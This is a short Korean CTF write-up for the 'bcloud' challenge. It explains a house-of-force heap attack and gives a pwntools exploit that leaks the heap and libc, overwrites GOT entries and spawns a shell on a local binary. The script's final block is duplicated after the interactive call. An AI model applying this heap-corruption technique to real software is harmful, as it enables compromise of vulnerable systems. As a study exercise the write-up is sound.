간단한 house_of_force문제이다.

name을 입력하는 부분에서 heap 주소를 구할 수 있다.

그리고 Org와 Host를 입력하는 것을 잘 이용해 top_chunk를 덮을 수 있다.

Top_chunk를 덮었으므로 내가 원하는 주소를 할당받을수 있다.

32bit : “원하는 주소”-8-top_chunk주소

64bit : “원하는 주소”-16-top_chunk주소

note_size를 받는부분을 할당받아 note_list를 덮어서 적당히 exploit하면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
 
def new(size,content):
        sla('--->>','1')
        sla('content:\n',str(size))
        sla('content:\n',content)
 
def edit(idx,content):
        sla('>>','3')
        sla('id:\n',str(idx))
        sla('content:\n',content)
 
def delete(idx):
        sla('>>','4')
        sla('id:\n',str(idx))
 
def syn():
        sla('>>','5')
 
r=process('./bcloud')
e=ELF('./bcloud')
libc=e.libc
 
sla=lambda x,y : r.sendlineafter(x,y)
sa=lambda x,y : r.sendafter(x,y)
ru=lambda x : r.recvuntil(x)
 
 
sa('name:\n','A'*0x40)
ru('A'*0x40)
heap_base=u32(ru('!').replace('!','').ljust(4,'\x00'))-8
log.info(hex(heap_base))
 
sa('Org:\n','A'*0x40)
sla('Host:\n',p32(0xffffffff))
 
heap_list=0x804B120
note_size=0x804B0A0
 
fake=note_size-0x8-(heap_base+0xd8)-4-4-7
new(fake,'\n')
 
payload=p32(8)*10+p32(heap_base+0x98)+p32(heap_base+8)
payload+=p64(0)*10+p32(e.got['free'])+p32(e.got['atoi'])*2
new(0x100,payload)
edit(0,p32(e.plt['puts']))
delete(2)
 
libc_leak=u32(r.recv(4).ljust(4,'\x00'))-libc.symbols['atoi']
log.info(hex(libc_leak))
 
edit(1,p32(libc_leak+libc.symbols['system']))
r.recvuntil('>>')
r.sendline('/bin/sh')
 
r.interactive()
 
edit(0,p32(e.plt['puts']))
delete(2)
 
libc_leak=u32(r.recv(4).ljust(4,'\x00'))-libc.symbols['atoi']
log.info(hex(libc_leak))
 
edit(1,p32(libc_leak+libc.symbols['system']))
r.recvuntil('>>')
r.sendline('/bin/sh')
 
r.interactive()
cs